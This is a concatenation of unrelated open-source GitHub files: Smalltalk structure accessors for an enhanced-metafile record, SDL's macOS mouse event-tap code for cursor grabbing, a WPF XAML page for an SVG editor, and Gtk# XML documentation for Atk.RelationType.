dwordAtOffset: _OffsetOf_cbBmiMask! cbBmiMask: anInteger "Set the receiver's 'cbBmiMask' field to the value of the argument, anInteger" bytes dwordAtOffset: _OffsetOf_cbBmiMask put: anInteger! cbBmiSrc "Answer the <Integer> value of the receiver's 'cbBmiSrc' field." ^bytes dwordAtOffset: _OffsetOf_cbBmiSrc! cbBmiSrc: anInteger "Set the receiver's 'cbBmiSrc' field to the value of the argument, anInteger" bytes dwordAtOffset: _OffsetOf_cbBmiSrc put: anInteger! crBkColorSrc "Answer the <Integer> value of the receiver's 'crBkColorSrc' field." ^bytes dwordAtOffset: _OffsetOf_crBkColorSrc! crBkColorSrc: anInteger "Set the receiver's 'crBkColorSrc' field to the value of the argument, anInteger" bytes dwordAtOffset: _OffsetOf_crBkColorSrc put: anInteger! cxSrc "Answer the <Integer> value of the receiver's 'cxSrc' field." ^bytes sdwordAtOffset: _OffsetOf_cxSrc! cxSrc: anInteger "Set the receiver's 'cxSrc' field to the value of the argument, anInteger" bytes sdwordAtOffset: _OffsetOf_cxSrc put: anInteger! cySrc "Answer the <Integer> value of the receiver's 'cySrc' field." ^bytes sdwordAtOffset: _OffsetOf_cySrc! cySrc: anInteger "Set the receiver's 'cySrc' field to the value of the argument, anInteger" bytes sdwordAtOffset: _OffsetOf_cySrc put: anInteger! iUsageMask "Answer the <Integer> value of the receiver's 'iUsageMask' field." ^bytes dwordAtOffset: _OffsetOf_iUsageMask! iUsageMask: anInteger "Set the receiver's 'iUsageMask' field to the value of the argument, anInteger" bytes dwordAtOffset: _OffsetOf_iUsageMask put: anInteger! iUsageSrc "Answer the <Integer> value of the receiver's 'iUsageSrc' field." ^bytes dwordAtOffset: _OffsetOf_iUsageSrc! iUsageSrc: anInteger "Set the receiver's 'iUsageSrc' field to the value of the argument, anInteger" bytes dwordAtOffset: _OffsetOf_iUsageSrc put: anInteger! offBitsMask "Answer the <Integer> value of the receiver's 'offBitsMask' field." ^bytes dwordAtOffset: _OffsetOf_offBitsMask! offBitsMask: anInteger "Set the receiver's 'offBitsMask' field to the value of the argument, anInteger" bytes dwordAtOffset: _OffsetOf_offBitsMask put: anInteger! offBitsSrc "Answer the <Integer> value of the receiver's 'offBitsSrc' field." ^bytes dwordAtOffset: _OffsetOf_offBitsSrc! offBitsSrc: anInteger "Set the receiver's 'offBitsSrc' field to the value of the argument, anInteger" bytes dwordAtOffset: _OffsetOf_offBitsSrc put: anInteger! offBmiMask "Answer the <Integer> value of the receiver's 'offBmiMask' field." ^bytes dwordAtOffset: _OffsetOf_offBmiMask! offBmiMask: anInteger "Set the receiver's 'offBmiMask' field to the value of the argument, anInteger" bytes dwordAtOffset: _OffsetOf_offBmiMask put: anInteger! offBmiSrc "Answer the <Integer> value of the receiver's 'offBmiSrc' field." ^bytes dwordAtOffset: _OffsetOf_offBmiSrc! offBmiSrc: anInteger "Set the receiver's 'offBmiSrc' field to the value of the argument, anInteger" bytes dwordAtOffset: _OffsetOf_offBmiSrc put: anInteger! rclBounds "Answer the <RECT> value of the receiver's 'rclBounds' field." ^RECT fromAddress: bytes yourAddress + _OffsetOf_rclBounds! rclBounds: aRECT "Set the receiver's 'rclBounds' field to the value of the argument, aRECT" aRECT replaceBytesOf: bytes from: ##(_OffsetOf_rclBounds + 1) to: ##(_OffsetOf_rclBounds + RECT basicByteSize) startingAt: 1! xformSrc "Answer the <XFORM> value of the receiver's 'xformSrc' field." ^XFORM fromAddress: bytes yourAddress + _OffsetOf_xformSrc! xformSrc: aXFORM "Set the receiver's 'xformSrc' field to the value of the argument, aXFORM" aXFORM replaceBytesOf: bytes from: ##(_OffsetOf_xformSrc + 1) to: ##(_OffsetOf_xformSrc + XFORM basicByteSize) startingAt: 1! xMask "Answer the <Integer> value of the receiver's 'xMask' field." ^bytes sdwordAtOffset: _OffsetOf_xMask! xMask: anInteger "Set the receiver's 'xMask' field to the value of the argument, anInteger" bytes sdwordAtOffset: _OffsetOf_xMask put: anInteger! xSrc "Answer the <Integer> value of the receiver's 'xSrc' field." ^bytes sdwordAtOffset: _OffsetOf_xSrc! xSrc: anInteger "Set the receiver's 'xSrc' field to the value of the argument, anInteger" bytes sdwordAtOffset: _OffsetOf_xSrc put: anInteger! yMask "Answer the <Integer> value of the receiver's 'yMask' field." ^bytes sdwordAtOffset: _OffsetOf_yMask! yMask: anInteger "Set the receiver's 'yMask' field to the value of the argument, anInteger" bytes sdwordAtOffset: _OffsetOf_yMask put: anInteger! ySrc "Answer the <Integer> value of the receiver's 'ySrc' field." ^bytes sdwordAtOffset: _OffsetOf_ySrc! ySrc: anInteger "Set the receiver's 'ySrc' field to the value of the argument, anInteger" bytes sdwordAtOffset: _OffsetOf_ySrc put: anInteger! ! !EMRPLGBLT categoriesFor: #aptlDest!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #aptlDest:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #cbBitsMask!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #cbBitsMask:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #cbBitsSrc!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #cbBitsSrc:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #cbBmiMask!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #cbBmiMask:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #cbBmiSrc!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #cbBmiSrc:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #crBkColorSrc!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #crBkColorSrc:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #cxSrc!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #cxSrc:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #cySrc!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #cySrc:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #iUsageMask!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #iUsageMask:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #iUsageSrc!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #iUsageSrc:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #offBitsMask!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #offBitsMask:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #offBitsSrc!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #offBitsSrc:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #offBmiMask!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #offBmiMask:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #offBmiSrc!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #offBmiSrc:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #rclBounds!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #rclBounds:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #xformSrc!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #xformSrc:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #xMask!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #xMask:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #xSrc!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #xSrc:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #yMask!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #yMask:!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #ySrc!**compiled accessors**!public! ! !EMRPLGBLT categoriesFor: #ySrc:!**compiled accessors**!public! ! !EMRPLGBLT class methodsFor! defineFields "Define the fields of the EMRPLGBLT structure. EMRPLGBLT compileDefinition typedef [uuid(CDAE1F25-39C4-4555-985B-3B2CD197D3E0)] struct tagEMRPLGBLT { EMR EMR; [helpstring('Inclusive-inclusive bounds in device units')] RECTL rclBounds; POINTL aptlDest[3]; long xSrc; long ySrc; long cxSrc; long cySrc; [helpstring('Source DC transform')] XFORM xformSrc; [helpstring('Source DC BkColor in RGB')] COLORREF crBkColorSrc; [helpstring('Source bitmap info color table usage')] DWORD iUsageSrc; [helpstring('Offset to the source BITMAPINFO structure')] DWORD offBmiSrc; [helpstring('Size of the source BITMAPINFO structure')] DWORD cbBmiSrc; [helpstring('Offset to the source bitmap bits')] DWORD offBitsSrc; [helpstring('Size of the source bitmap bits')] DWORD cbBitsSrc; long xMask; long yMask; [helpstring('Mask bitmap info color table usage')] DWORD iUsageMask; [helpstring('Offset to the mask BITMAPINFO structure if any')] DWORD offBmiMask; [helpstring('Size of the mask BITMAPINFO structure if any')] DWORD cbBmiMask; [helpstring('Offset to the mask bitmap bits if any')] DWORD offBitsMask; [helpstring('Size of the mask bitmap bits if any')] DWORD cbBitsMask; } EMRPLGBLT; " super defineFields. self defineField: #rclBounds type: (StructureField type: RECT) offset: 8; defineField: #aptlDest type: (StructureArrayField type: POINTL length: 3) offset: 24; defineField: #xSrc type: SDWORDField new offset: 48; defineField: #ySrc type: SDWORDField new offset: 52; defineField: #cxSrc type: SDWORDField new offset: 56; defineField: #cySrc type: SDWORDField new offset: 60; defineField: #xformSrc type: (StructureField type: XFORM) offset: 64; defineField: #crBkColorSrc type: DWORDField new offset: 88; defineField: #iUsageSrc type: DWORDField new offset: 92; defineField: #offBmiSrc type: DWORDField new offset: 96; defineField: #cbBmiSrc type: DWORDField new offset: 100; defineField: #offBitsSrc type: DWORDField new offset: 104; defineField: #cbBitsSrc type: DWORDField new offset: 108; defineField: #xMask type: SDWORDField new offset: 112; defineField: #yMask type: SDWORDField new offset: 116; defineField: #iUsageMask type: DWORDField new offset: 120; defineField: #offBmiMask type: DWORDField new offset: 124; defineField: #cbBmiMask type: DWORDField new offset: 128; defineField: #offBitsMask type: DWORDField new offset: 132; defineField: #cbBitsMask type: DWORDField new offset: 136. self byteSize: 140! getFieldNames ^#(#iType #nSize #rclBounds #aptlDest #xSrc #ySrc #cxSrc #cySrc #xformSrc #crBkColorSrc #iUsageSrc #offBmiSrc #cbBmiSrc #offBitsSrc #cbBitsSrc #xMask #yMask #iUsageMask #offBmiMask #cbBmiMask #offBitsMask #cbBitsMask)! iTypes "Answer the integer enhanced metafile record type id for this record class." ^Array with: EMR_PLGBLT! ! !EMRPLGBLT class categoriesFor: #defineFields!**auto generated**!public!template definition! ! !EMRPLGBLT class categoriesFor: #getFieldNames!**compiled accessors**!constants!private! ! !EMRPLGBLT class categoriesFor: #iTypes!constants!public! !
{ "pile_set_name": "Github" }
/* Simple DirectMedia Layer Copyright (C) 1997-2019 Sam Lantinga <slouken@libsdl.org> This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. */ #include "../../SDL_internal.h" #if SDL_VIDEO_DRIVER_COCOA #include "SDL_cocoamousetap.h" /* Event taps are forbidden in the Mac App Store, so we can only enable this * code if your app doesn't need to ship through the app store. * This code makes it so that a grabbed cursor cannot "leak" a mouse click * past the edge of the window if moving the cursor too fast. */ #if SDL_MAC_NO_SANDBOX #include "SDL_keyboard.h" #include "SDL_cocoavideo.h" #include "../../thread/SDL_systhread.h" #include "../../events/SDL_mouse_c.h" typedef struct { CFMachPortRef tap; CFRunLoopRef runloop; CFRunLoopSourceRef runloopSource; SDL_Thread *thread; SDL_sem *runloopStartedSemaphore; } SDL_MouseEventTapData; static const CGEventMask movementEventsMask = CGEventMaskBit(kCGEventLeftMouseDragged) | CGEventMaskBit(kCGEventRightMouseDragged) | CGEventMaskBit(kCGEventMouseMoved); static const CGEventMask allGrabbedEventsMask = CGEventMaskBit(kCGEventLeftMouseDown) | CGEventMaskBit(kCGEventLeftMouseUp) | CGEventMaskBit(kCGEventRightMouseDown) | CGEventMaskBit(kCGEventRightMouseUp) | CGEventMaskBit(kCGEventOtherMouseDown) | CGEventMaskBit(kCGEventOtherMouseUp) | CGEventMaskBit(kCGEventLeftMouseDragged) | CGEventMaskBit(kCGEventRightMouseDragged) | CGEventMaskBit(kCGEventMouseMoved); static CGEventRef Cocoa_MouseTapCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) { SDL_MouseEventTapData *tapdata = (SDL_MouseEventTapData*)refcon; SDL_Mouse *mouse = SDL_GetMouse(); SDL_Window *window = SDL_GetKeyboardFocus(); NSWindow *nswindow; NSRect windowRect; CGPoint eventLocation; switch (type) { case kCGEventTapDisabledByTimeout: { CGEventTapEnable(tapdata->tap, true); return NULL; } case kCGEventTapDisabledByUserInput: { return NULL; } default: break; } if (!window || !mouse) { return event; } if (mouse->relative_mode) { return event; } if (!(window->flags & SDL_WINDOW_INPUT_GRABBED)) { return event; } /* This is the same coordinate system as Cocoa uses. */ nswindow = ((SDL_WindowData *) window->driverdata)->nswindow; eventLocation = CGEventGetUnflippedLocation(event); windowRect = [nswindow contentRectForFrameRect:[nswindow frame]]; if (!NSMouseInRect(NSPointFromCGPoint(eventLocation), windowRect, NO)) { /* This is in CGs global screenspace coordinate system, which has a * flipped Y. */ CGPoint newLocation = CGEventGetLocation(event); if (eventLocation.x < NSMinX(windowRect)) { newLocation.x = NSMinX(windowRect); } else if (eventLocation.x >= NSMaxX(windowRect)) { newLocation.x = NSMaxX(windowRect) - 1.0; } if (eventLocation.y <= NSMinY(windowRect)) { newLocation.y -= (NSMinY(windowRect) - eventLocation.y + 1); } else if (eventLocation.y > NSMaxY(windowRect)) { newLocation.y += (eventLocation.y - NSMaxY(windowRect)); } CGWarpMouseCursorPosition(newLocation); CGAssociateMouseAndMouseCursorPosition(YES); if ((CGEventMaskBit(type) & movementEventsMask) == 0) { /* For click events, we just constrain the event to the window, so * no other app receives the click event. We can't due the same to * movement events, since they mean that our warp cursor above * behaves strangely. */ CGEventSetLocation(event, newLocation); } } return event; } static void SemaphorePostCallback(CFRunLoopTimerRef timer, void *info) { SDL_SemPost((SDL_sem*)info); } static int Cocoa_MouseTapThread(void *data) { SDL_MouseEventTapData *tapdata = (SDL_MouseEventTapData*)data; /* Tap was created on main thread but we own it now. */ CFMachPortRef eventTap = tapdata->tap; if (eventTap) { /* Try to create a runloop source we can schedule. */ CFRunLoopSourceRef runloopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0); if (runloopSource) { tapdata->runloopSource = runloopSource; } else { CFRelease(eventTap); SDL_SemPost(tapdata->runloopStartedSemaphore); /* TODO: Both here and in the return below, set some state in * tapdata to indicate that initialization failed, which we should * check in InitMouseEventTap, after we move the semaphore check * from Quit to Init. */ return 1; } } else { SDL_SemPost(tapdata->runloopStartedSemaphore); return 1; } tapdata->runloop = CFRunLoopGetCurrent(); CFRunLoopAddSource(tapdata->runloop, tapdata->runloopSource, kCFRunLoopCommonModes); CFRunLoopTimerContext context = {.info = tapdata->runloopStartedSemaphore}; /* We signal the runloop started semaphore *after* the run loop has started, indicating it's safe to CFRunLoopStop it. */ CFRunLoopTimerRef timer = CFRunLoopTimerCreate(kCFAllocatorDefault, CFAbsoluteTimeGetCurrent(), 0, 0, 0, &SemaphorePostCallback, &context); CFRunLoopAddTimer(tapdata->runloop, timer, kCFRunLoopCommonModes); CFRelease(timer); /* Run the event loop to handle events in the event tap. */ CFRunLoopRun(); /* Make sure this is signaled so that SDL_QuitMouseEventTap knows it can safely SDL_WaitThread for us. */ if (SDL_SemValue(tapdata->runloopStartedSemaphore) < 1) { SDL_SemPost(tapdata->runloopStartedSemaphore); } CFRunLoopRemoveSource(tapdata->runloop, tapdata->runloopSource, kCFRunLoopCommonModes); /* Clean up. */ CGEventTapEnable(tapdata->tap, false); CFRelease(tapdata->runloopSource); CFRelease(tapdata->tap); tapdata->runloopSource = NULL; tapdata->tap = NULL; return 0; } void Cocoa_InitMouseEventTap(SDL_MouseData* driverdata) { SDL_MouseEventTapData *tapdata; driverdata->tapdata = SDL_calloc(1, sizeof(SDL_MouseEventTapData)); tapdata = (SDL_MouseEventTapData*)driverdata->tapdata; tapdata->runloopStartedSemaphore = SDL_CreateSemaphore(0); if (tapdata->runloopStartedSemaphore) { tapdata->tap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, kCGEventTapOptionDefault, allGrabbedEventsMask, &Cocoa_MouseTapCallback, tapdata); if (tapdata->tap) { /* Tap starts disabled, until app requests mouse grab */ CGEventTapEnable(tapdata->tap, false); tapdata->thread = SDL_CreateThreadInternal(&Cocoa_MouseTapThread, "Event Tap Loop", 512 * 1024, tapdata); if (tapdata->thread) { /* Success - early out. Ownership transferred to thread. */ return; } CFRelease(tapdata->tap); } SDL_DestroySemaphore(tapdata->runloopStartedSemaphore); } SDL_free(driverdata->tapdata); driverdata->tapdata = NULL; } void Cocoa_EnableMouseEventTap(SDL_MouseData *driverdata, SDL_bool enabled) { SDL_MouseEventTapData *tapdata = (SDL_MouseEventTapData*)driverdata->tapdata; if (tapdata && tapdata->tap) { CGEventTapEnable(tapdata->tap, !!enabled); } } void Cocoa_QuitMouseEventTap(SDL_MouseData *driverdata) { SDL_MouseEventTapData *tapdata = (SDL_MouseEventTapData*)driverdata->tapdata; int status; if (tapdata == NULL) { /* event tap was already cleaned up (possibly due to CGEventTapCreate * returning null.) */ return; } /* Ensure that the runloop has been started first. * TODO: Move this to InitMouseEventTap, check for error conditions that can * happen in Cocoa_MouseTapThread, and fall back to the non-EventTap way of * grabbing the mouse if it fails to Init. */ status = SDL_SemWaitTimeout(tapdata->runloopStartedSemaphore, 5000); if (status > -1) { /* Then stop it, which will cause Cocoa_MouseTapThread to return. */ CFRunLoopStop(tapdata->runloop); /* And then wait for Cocoa_MouseTapThread to finish cleaning up. It * releases some of the pointers in tapdata. */ SDL_WaitThread(tapdata->thread, &status); } SDL_free(driverdata->tapdata); driverdata->tapdata = NULL; } #else /* SDL_MAC_NO_SANDBOX */ void Cocoa_InitMouseEventTap(SDL_MouseData *unused) { } void Cocoa_EnableMouseEventTap(SDL_MouseData *driverdata, SDL_bool enabled) { } void Cocoa_QuitMouseEventTap(SDL_MouseData *driverdata) { } #endif /* !SDL_MAC_NO_SANDBOX */ #endif /* SDL_VIDEO_DRIVER_COCOA */ /* vi: set ts=4 sw=4 expandtab: */
{ "pile_set_name": "Github" }
<Page x:Class="WpfShapeSvgTestBox.SvgPage" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:svg="http://sharpvectors.codeplex.com/runtime/" xmlns:svgc="http://sharpvectors.codeplex.com/svgc/" xmlns:avalonEdit="http://icsharpcode.net/sharpdevelop/avalonedit" xmlns:local="clr-namespace:WpfShapeSvgTestBox" Title="SvgPage" Background="White" DragEnter="OnDragEnter" DragLeave="OnDragLeave" Drop="OnDragDrop" AllowDrop="True" FocusManager.FocusedElement="{Binding ElementName=canvasScroller}"> <Page.Resources> <!-- UI commands. --> <RoutedUICommand x:Key="Commands.ZoomOut" /> <RoutedUICommand x:Key="Commands.ZoomIn" /> </Page.Resources> <Page.InputBindings> <!-- Bind keys to commands. --> <KeyBinding Modifiers="Control" Key="Minus" Command="{StaticResource Commands.ZoomOut}"/> <KeyBinding Modifiers="Control" Key="Plus" Command="{StaticResource Commands.ZoomIn}"/> <KeyBinding Modifiers="Control" Key="OemMinus" Command="{StaticResource Commands.ZoomOut}"/> <KeyBinding Modifiers="Control" Key="OemPlus" Command="{StaticResource Commands.ZoomIn}"/> </Page.InputBindings> <Page.CommandBindings> <!-- Bind commands to event handlers. --> <CommandBinding Command="{StaticResource Commands.ZoomOut}" Executed="OnZoomOut"/> <CommandBinding Command="{StaticResource Commands.ZoomIn}" Executed="OnZoomIn"/> </Page.CommandBindings> <Grid Name="rightGrid"> <Grid.RowDefinitions> <RowDefinition Height="*"/> <RowDefinition Height="8"/> <RowDefinition Height="150"/> </Grid.RowDefinitions> <DockPanel LastChildFill="True" Grid.Row="0"> <ToolBar DockPanel.Dock="Top" Height="32"> <ToolBar.Resources> <Style TargetType="{x:Type Image}"> <Style.Triggers> <DataTrigger Binding="{Binding RelativeSource={RelativeSource AncestorType={x:Type ButtonBase}, AncestorLevel=1}, Path=IsEnabled}" Value="False"> <Setter Property="Opacity" Value="0.30" /> </DataTrigger> </Style.Triggers> </Style> </ToolBar.Resources> <Button Click="OnOpenFileClick"> <Image Source="Images/Open.png" Height="16"/> </Button> <Button Click="OnSaveFileClick"> <Image Source="Images/Save.png" Height="16"/> </Button> <Separator/> <Button Command="Cut"> <Image Source="Images/Cut.png" Height="16"/> </Button> <Button Command="Copy"> <Image Source="Images/Copy.png" Height="16"/> </Button> <Button Command="Paste"> <Image Source="Images/Paste.png" Height="16"/> </Button> <Button Command="Delete"> <Image Source="Images/Delete.png" Height="16"/> </Button> <Separator/> <Button Command="Undo"> <Image Source="Images/Undo.png" Height="16"/> </Button> <Button Command="Redo"> <Image Source="Images/Redo.png" Height="16"/> </Button> <Separator/> <CheckBox IsChecked="{Binding ElementName=textEditor,Path=WordWrap}"> <Image Source="Images/WordWrap.png" Height="16"/> </CheckBox> <CheckBox IsChecked="{Binding ElementName=textEditor,Path=ShowLineNumbers}"> <TextBlock Width="16" TextAlignment="Center">#</TextBlock> </CheckBox> <CheckBox IsChecked="{Binding ElementName=textEditor,Path=Options.ShowEndOfLine}"> <TextBlock Width="16" TextAlignment="Center">¶</TextBlock> </CheckBox> <ComboBox Name="highlightingComboBox" Width="120" SelectedItem="{Binding SyntaxHighlighting, ElementName=textEditor}" ItemsSource="{Binding Source={x:Static avalonEdit:HighlightingManager.Instance}, Path=HighlightingDefinitions}" SelectionChanged="OnHighlightingSelectionChanged"/> <Separator/> <TextBox Name="searchTextBox" Width="200" KeyUp="OnSearchTextBoxKeyUp" /> <Button Click="OnSearchTextClick"> <Image Source="Images/Find.png" Height="16"/> </Button> <Separator/> <Button Name="formatInput" Click="OnFormatInputClick"> <StackPanel Orientation="Horizontal"> <Image Source="Images/Format.png" /> <TextBlock Margin="3,0,0,0">Format</TextBlock> </StackPanel> </Button> <Separator/> <Button Name="convertInput" Click="OnConvertInputClick"> <StackPanel Orientation="Horizontal"> <Image Source="Images/Run.png" /> <TextBlock Margin="3,0,0,0">Convert</TextBlock> </StackPanel> </Button> </ToolBar> <avalonEdit:TextEditor Name="textEditor" FontFamily="Consolas" FontSize="12pt"/> </DockPanel> <GridSplitter Name="rightSplitter" Grid.Row="1" Height="6" HorizontalAlignment="Stretch" VerticalAlignment="Center" BorderThickness="1" BorderBrush="Gray" Background="Gray"/> <DockPanel Name="viewerFrame" LastChildFill="True" Grid.Row="2"> <ScrollViewer x:Name="canvasScroller" CanContentScroll="True" Padding="4" VerticalScrollBarVisibility="Visible" HorizontalScrollBarVisibility="Visible"> <!-- This is the control that handles zooming and panning. --> <svg:ZoomPanControl x:Name="zoomPanControl" MouseDown="OnZoomPanMouseDown" MouseUp="OnZoomPanMouseUp" MouseMove="OnZoomPanMouseMove" MouseWheel="OnZoomPanMouseWheel"> <Control.Background> <DrawingBrush TileMode="Tile" Viewport="-10,-10,20,20" ViewportUnits="Absolute" Opacity="0.5"> <DrawingBrush.Drawing> <GeometryDrawing> <GeometryDrawing.Geometry> <RectangleGeometry Rect="0,0,80,80"/> </GeometryDrawing.Geometry> <GeometryDrawing.Pen> <Pen Brush="LightGray" Thickness="1"/> </GeometryDrawing.Pen> </GeometryDrawing> </DrawingBrush.Drawing> </DrawingBrush> </Control.Background> <!-- This Canvas is the content that is displayed by the ZoomPanControl. Width and Height determine the size of the content. --> <!--<svg:SvgDrawingCanvas x:Name="svgDrawing" Background="Transparent"> </svg:SvgDrawingCanvas>--> <svgc:ShapeSvgCanvas x:Name="svgDrawing" Background="Transparent"></svgc:ShapeSvgCanvas> </svg:ZoomPanControl> </ScrollViewer> </DockPanel> </Grid> </Page>
{ "pile_set_name": "Github" }
<Type Name="RelationType" FullName="Atk.RelationType"> <TypeSignature Language="C#" Maintainer="auto" Value="public enum RelationType" /> <TypeSignature Language="ILAsm" Value=".class public auto ansi sealed RelationType extends System.Enum" /> <AssemblyInfo> <AssemblyName>atk-sharp</AssemblyName> <AssemblyPublicKey> </AssemblyPublicKey> </AssemblyInfo> <ThreadSafetyStatement>Gtk# is thread aware, but not thread safe; See the <link location="node:gtk-sharp/programming/threads">Gtk# Thread Programming</link> for details.</ThreadSafetyStatement> <Base> <BaseTypeName>System.Enum</BaseTypeName> </Base> <Attributes> <Attribute> <AttributeName>GLib.GType(typeof(Atk.RelationTypeGType))</AttributeName> </Attribute> </Attributes> <Docs> <summary>Describes the type of the relation</summary> <remarks /> </Docs> <Members> <Member MemberName="ControlledBy"> <MemberSignature Language="C#" Value="ControlledBy" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType ControlledBy = int32(1)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters /> <Docs> <summary> Indicates an object controlled by one or more target objects.</summary> <remarks> </remarks> </Docs> </Member> <Member MemberName="ControllerFor"> <MemberSignature Language="C#" Value="ControllerFor" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType ControllerFor = int32(2)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters /> <Docs> <summary> Indicates an object is an controller for one or more target objects.</summary> <remarks> </remarks> </Docs> </Member> <Member MemberName="DescribedBy"> <MemberSignature Language="C#" Value="DescribedBy" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType DescribedBy = int32(14)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Docs> <summary>To be added.</summary> <since version="Gtk# 2.12" /> </Docs> </Member> <Member MemberName="DescriptionFor"> <MemberSignature Language="C#" Value="DescriptionFor" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType DescriptionFor = int32(15)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Docs> <summary>To be added.</summary> <since version="Gtk# 2.12" /> </Docs> </Member> <Member MemberName="EmbeddedBy"> <MemberSignature Language="C#" Value="EmbeddedBy" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType EmbeddedBy = int32(11)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters> </Parameters> <Docs> <summary> Inverse of <see cref="F:Atk.Relation.Embeds" />, indicates that this object's content is visualy embedded in another object.</summary> <remarks> </remarks> </Docs> </Member> <Member MemberName="Embeds"> <MemberSignature Language="C#" Value="Embeds" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType Embeds = int32(10)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters> </Parameters> <Docs> <summary> Indicates that the object visually embeds another object's content, i.e. this object's content flows around another's content.</summary> <remarks> </remarks> </Docs> </Member> <Member MemberName="FlowsFrom"> <MemberSignature Language="C#" Value="FlowsFrom" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType FlowsFrom = int32(8)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters> </Parameters> <Docs> <summary> Indicates that the object has content that flows logically from another AtkObject in a sequential way, (for instance text-flow).</summary> <remarks> </remarks> </Docs> </Member> <Member MemberName="FlowsTo"> <MemberSignature Language="C#" Value="FlowsTo" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType FlowsTo = int32(7)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters> </Parameters> <Docs> <summary>Indicates that the object has content that flows logically to another AtkObject in a sequential way, (for instance text-flow).</summary> <remarks> </remarks> </Docs> </Member> <Member MemberName="LabelFor"> <MemberSignature Language="C#" Value="LabelFor" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType LabelFor = int32(3)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters /> <Docs> <summary> Indicates an object is a label for one or more target objects.</summary> <remarks> </remarks> </Docs> </Member> <Member MemberName="LabelledBy"> <MemberSignature Language="C#" Value="LabelledBy" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType LabelledBy = int32(4)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters /> <Docs> <summary> Indicates an object is labelled by one or more target objects.</summary> <remarks> </remarks> </Docs> </Member> <Member MemberName="LastDefined"> <MemberSignature Language="C#" Value="LastDefined" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType LastDefined = int32(17)" /> <MemberType>Field</MemberType> <ReturnValue> <ReturnType>Atk.RelationType</ReturnType> </ReturnValue> <Parameters /> <Docs> <summary>To be added</summary> <remarks> </remarks> </Docs> </Member> <Member MemberName="MemberOf"> <MemberSignature Language="C#" Value="MemberOf" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype Atk.RelationType MemberOf = int32(5)" /> 